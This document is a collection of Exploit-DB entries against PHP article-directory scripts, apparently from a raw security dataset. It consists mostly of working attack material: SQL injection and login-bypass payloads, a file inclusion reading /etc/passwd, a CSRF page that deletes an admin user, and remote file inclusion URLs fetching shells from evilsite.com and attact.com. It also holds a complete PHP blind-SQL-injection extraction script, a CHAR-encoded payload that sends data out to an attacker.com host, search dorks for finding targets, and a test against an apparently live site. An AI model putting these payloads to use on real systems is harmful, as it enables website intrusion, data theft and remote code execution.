deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43099
Description: Article Directory Script 3.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Article Directory Script 3.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.yourarticlesdirectory.com/
# Software Link: http://www.yourarticlesdirectory.com/
# Demo: http://www.yourarticlesdirectory.com/livedemo.php
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15960
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/category.php?id=[SQL]
# 
# 18++/*!02222UniOn*/+(/*!02222SeleCt*/+0x283129,/*!02222CONCAT_WS*/(0x203a20,USER(),DATABASE(),VERSION()),0x283329,0x283429,0x[PII_REDACTED]353239)--+-
# 
# http://localhost/[PATH]/author.php?id=[SQL]
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: id=18 AND 8646=8646
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: id=18 AND SLEEP(5)
# 
# Parameter: id (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: id=27 AND SLEEP(5)
# 	
# Etc..
# # # # #
Exploit-DB #41061
Description: Article Directory Script Seo 3.2 - Improper Access Restrictions
Type: webapps
Platform: php
Date: 2017-01-15
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Improper Access Restrictions 
# Date: 15.01.2017
# Vendor Homepage: http://www.e-soft24.com/
# Script Name: Article Directory Script Seo
# Script Version: V3.2
# Script Buy Now: http://www.e-soft24.com/article-directory-script-seo-p-338.html
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# Direct entrance..
# An attacker can exploit this issue via a browser.
# The following example URIs are available:
# http://localhost/[PATH]/admin/alldoc.php
# http://localhost/[PATH]/admin/editdoc.php
# http://localhost/[PATH]/admin/editdoc.php?doc_id=1
# Vs.......
# # # # #
Exploit-DB #33683
Description: Article Friendly - 'Filename' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-01
Author: pratul agrawal

Exploit:
source: https://www.securityfocus.com/bid/38461/info

Article Friendly is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

Article Friendly Pro is vulnerable; other versions may also be affected. 

http://www.example.com/admin/index.php?filename=../../../../../../../../../../etc/passwd%00
Exploit-DB #11559
Description: Article Friendly - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-02-24
Author: pratul agrawal

Exploit:
                     =======================================================================
  
                                         Article friendly CSRF Vulnerability

                     =======================================================================
  
                                                     by
  
                                               Pratul Agrawal

  
  
  # Vulnerability found in- Admin module
  
  # email         Pratulag@yahoo.com
  
  # company       aksitservices
  
  # Credit by     Pratul Agrawal
 
  # Site p4ge     http://www.articlefriendly.com/
 
  # Plateform     php
 
  
  
  # Proof of concept   #

  Targeted URL:  http://server/admin/index.php?filename=adminlogin
 

  Script to delete the Admin user through Cross Site request forgery
 
             .  ..................................................................................................................
 
                        <html>
 
                          <body>
 
      <img src=http://server/admin/index.php?filename=adminuser&a=3&adminid=[USER ID] />
 
                          </body>
 
                        </html>
 
 
             .  ..................................................................................................................
 
 
 
  After execution refresh the page and u can see that user having giving ID  get deleted automatically.


#If you have any questions, comments, or concerns, feel free to contact me.
Exploit-DB #11530
Description: Article Friendly - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-22
Author: SkuLL-HackeR

Exploit:
#                           
#    _____ _    _  _   _     _            _  _    ___    ____  _     ___  _____
#   / ___/| |__ || || | |   | |          | || |  / _ \  /  __|| |__ / _ \| |_) |
#   (__  )| / / ||_|| | |__ | |__   ___  | __ | / ___ \ | |__ | / /|  __/|  _ < 
#  /____/ |_\_\ |___| |____||____| |___| |_||_|/_/   \_\\____||_\_\ \___||_| \_\ ..Bl4ck H4T..

============================================================================== 
        [!] Article Friendly <= SQL Injection Vulnerability 
==============================================================================


    
     # Author : SkuLL-HacKeR 
     # Site p4ge : http://www.articlefriendly.com/ 
     # # GreetZ : AmiZya - Stack - djekmani4ever
     # Dork : Powered by Article DashBoard #
     # Sh0w CreW : Jiko  HxH - THE SAD HACKER 
     # My Home: www.no-exploit.com & # wWw.Owned-m.CoM
     # T3st3d on: MacBook & Windows XP SP3

########################################################################### 

===[ #-/Expl0it Code\-# : ]=== 

# SQL Injection Vulnerability :

#-/ Link Admin: www.Target.com/[ScriptarticleLoser]/admin/

#-/ 0r : www.Target.com[Script-article-Loser]/admin/index.php?filename=adminlogin

#-/Username : admin' or 'a'='a

#-/[CREDENTIAL_REDACTED]

###########################################################################
Exploit-DB #6167
Description: Article Friendly Pro/Standard - SQL Injection
Type: webapps
Platform: php
Date: 2008-07-30
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability
##
## Article Friendly Pro ( categorydetail.php Cat )
##
## Article Friendly Standard ( authordetail.php autid )
##                            
## http://www.articlefriendly.com/                           
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
##
## -[[: Exploites :]]-
##
## [[ Article Friendly Pro ]]       www.Target.com/authordetail.php?autid=-1'+union+select+0,0,0,CONCAT_WS(0x3a,@@version,user(),datbase),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/*
##
## [[ Article Friendly Standard ]]  www.Target.com/categorydetail.php?Cat=1'+and+1=0+union+select+0,CONCAT_WS(0x3a,@@version,user(),datbase),0,0,0,0,0,0/*
##
########################
########################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: ****** :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-30]
Exploit-DB #12858
Description: Article Management System 2.1.2 - Reinstall
Type: webapps
Platform: php
Date: 2010-06-03
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : (ArticleMS) Article Management System 2.1.2 Reinstall Vulnerability   
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                                                                                                                                    
| # Dork     : Powered by ArticleMS from ArticleTrader                                                                                                                 
| # Tested on: windows SP2 Français V.(Pnx2 2.0)        
| # Bug      : Reinstall  
| # Download : http://www.articlems.com/                                                                   
======================      Exploit By indoushka       =================================
# Exploit  :  

1 - http://127.0.0.1/articlems_2_1_2/install/index.php?step=3

2 - http://127.0.0.1/articlems_2_1_2/admin/

Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : inj3ct0r Team 
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R * www.alkrsan.net * MR.SoOoFe * ThE g0bL!N
------------------------------------------------------------------------------------------------------------------------
Exploit-DB #27677
Description: Article Publisher 1.0.1 Pro - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-04-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17595/info

Article Publisher Pro is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 1.0.1 is vulnerable; other versions may also be affected.

http://www.example.com/category.php?cname=[SQL]
Exploit-DB #6917
Description: Article Publisher PRO - 'userid' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-31
Author: Stack

Exploit:
###########################################################################
# Kira has decide be back after halloween
###########################################################################
# Discovered by : Mountassif Moad
# Type Gap : Blind Sql Injection
# Script : Article Publisher Pro : http://www.phparticlescript.com/
# Greetz : Allah , All my freind
##########################################################################

P0c :

http://localhost/contact_author.php?userid=1+and+1=1   true

http://localhost/contact_author.php?userid=1+and+1=0   false

http://demo-article-publisher-pro.phparticlescript.com/contact_author.php?userid=1+and+1=1   true

http://demo-article-publisher-pro.phparticlescript.com/contact_author.php?userid=1+and+1=0   false

Exploit :

http://localhost/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=4   true

http://localhost/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=5   false

Demo Test :

http://fashiongumbo.com/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=4  true

http://fashiongumbo.com/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=5  false

code Exploit :

<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#      Article Publisher Pro - Blind SQL Injection Exploit    
#
###############################################################
#                                                            
#      Dork:        N/A
#      Usage:       php '.$argv[0].' [Target] [data]
#      Live Demo :
#      =>php '.$argv[0].' http://localhost/contact_author.php?userid=1 user()
#                                                            
###############################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."'+and+1=0"));
$t = abs((100-($w/$r*100)));
echo "\n".$argv[2].": ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((".$argv[2]."),".$i.",1))!=0"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((".$argv[2]."),".$j.",1))%3E".$i.""));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((".$argv[2]."),".$j.",1))%3E".($i-1).""));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}

} else {
echo "\nExploiting failed: ar u sur your link have a real id user \n";
}
?>

# milw0rm.com [2008-10-31]
Exploit-DB #6912
Description: Article Publisher PRO 1.5 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-10-31
Author: Hakxer

Exploit:
###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___ 
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/ 
        /____/                                           

# Discovered by : Hakxer
# Type Gap : Bybass Login
# Script : Article Publisher Pro : http://www.phparticlescript.com/
# Greetz : Allah , Egyptian x hacker , Br1ght D@rk 
##########################################################################

[~] Go to http://demo-article-publisher-pro.phparticlescript.com/admin/admin.php
[~] Exploit 
[~] In Username Write : admin ' or ' 1=1
[~] In Password Write any thing Example : Hakxer
[~] Click Login ..! Now You Are In admin panel

# Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-10-31]
Exploit-DB #2728
Description: Article Script 1.6.3 - 'rss.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-06
Author: Liz0ziM

Exploit:
Article Script v1.*and v1.6.3 Sql injection

Script Name :Article Script

Home Page:www.articlescript.org

Bug Founder :Liz0ziM

Mail:liz0@bsdmail.org

Baba Kimdir? Tabiki Liz0ziM

------------------------------------------------------------

http://www.victim.com/articles/rss.php?category= ' sql &#304;njection

Example:

 http://www.victim.com/articles/rss.php?category=-1/**/union/**/select/**/1,2,login,password/**/from/**/users/*

 <title>admin4521title> ------> Admin name :admin4521

 <link>http://www.victim.com/articles/cs1120/page_1/link>  ----------> Admin password cs1120

Dork:

"Powered by Article Script"

":: Article Script - New User Article ::"

intitle:":: Article Script -"

"Last Articles::"

Greatz My all friend

Source: http://www.blogcu.com/Liz0ziM/1312100/

# milw0rm.com [2006-11-06]
Exploit-DB #3114
Description: Article System 0.1 - 'INCLUDE_DIR' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-11
Author: 3l3ctric-Cracker

Exploit:
########################################################################################################################
#Script:Article System                                                       #
#Affected Version:1.0                                                        #
#Download:http://kent.dl.sourceforge.net/sourceforge/artsys/artsys-0.1-20020705.tar.gz #
########################################################################################################################
#Author:Dr Max Virus                                                         #
########################################################################################################################
#Bug in:/[path]/include                                                      #
#Vul Code;                                                                   #
#require_once ("$INCLUDE_DIR/classes/class.form_item.php");                  #
########################################################################################################################
#POC:                                                                        #
#http://[target]/[script_path]/include/forms.php?INCLUDE_DIR=shell.txt?      #
#http://[target]/[script_path]/include/issue_edit.php?INCLUDE_DIR=shell.txt? #
#http://[target]/[script_path]/include/client.php?INCLUDE_DIR=shell.txt?     #
#http://[target]/[script_path]/include/classes.php?INCLUDE_DIR=shell.txt?    #
########################################################################################################################
#Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends                        #
#Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk                          #
########################################################################################################################

# milw0rm.com [2007-01-11]
Exploit-DB #2703
Description: Article System 0.6 - 'volume.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-02
Author: GregStar

Exploit:
**********************************************************************************************************
                                                              
			                Coding 4 Fun (c4f.pl) 
			                                      
**********************************************************************************************************

* Article System 0.6 ; 

* Class = Remote File Inclusion ;
 
* Download = http://sourceforge.net/project/showfiles.php?group_id=49971&package_id=43403&release_id=325871 ;

* Found by = GregStar (gregstar[at]c4f[dot]pl) ;

-------------------------------------------------------------------------------------------------------------------


- Vulnerable Code in volume.php:

 require "{$config['public_dir']}/templates/html/volume.php" ;


- Exploit:

http://[target]/[path]/volume.php?config[public_dir]=http://evilsite.com/shell?


------------------------------------------------------------------------------------------------------------------


Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,SlashBeast,chochlik,RFL,d3m0n,java,kw@ch and for all friends.



**************************************************************************************************************

# milw0rm.com [2006-11-02]
Exploit-DB #2645
Description: ArticleBeach Script 2.0 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-25
Author: Bithedz

Exploit:
------------------------------------------------------------------------------
ArticleBeach Script <= 2.0 (page) Remote File Inclusion Vulnerability
------------------------------------------------------------------------------

Author		: Zeni Susanto a.k.a Bithedz
Date Found	: October, 22th 2006
Location	: Indonesia, Bandung
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
Application	: ArticleBeach
version		: 2.0
vendor		: http://articlebeach.com
source url      : http://www.articlebeach.com/script/

---------------------------------------------------------------------------

Description:
~~~~~~~~~
Articlebeach is Your one-stop source for free articles. Do you need contents to add to your web site? Or articles for use on your opt-in newsletters and e-zines? ArticleBeach has scoured the web and indexed a huge collection of articles on various subjects. Just click on the appropriate category to read the articles.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~

I found vulnerability script in index.php

---------- index.PHP---------------------------------------------------------
include($_GET["page"].".php"); 
-----------------------------------------------------------------------------

Input passed to the "page" parameter in index.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.



Proof Of Concept:
~~~~~~~~~~~~~

http://target.com/[articlebeach_path]/index.php?page=http://attact.com/colok.txt?

-----------------------------------------------------------------------------

Solution:
~~~~
- download fix in vendor URL 

-----------------------------------------------------------------------------

google d0rk:
~~~~~~~~
"ArticleBeach"

-----------------------------------------------------------------------------
Shoutz:
~~~

~ My Wife Monik 
~ kaiten
~ #e-c-h-o, #bridge (silent) @irc.dal.net
-----------------------------------------------------------------------------

Contact:
~~~~
 
     Bithedz[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-10-25]
Exploit-DB #39289
Description: ArticleFR - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2014-08-20
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/69307/info

ArticleFR is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ArticleFR 3.0.4 is vulnerable; prior versions may also be affected. 

http://www.example.com/rate.php?act=get&id=0%20union%20select%201,(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHA R(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(1 11),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))%20--%202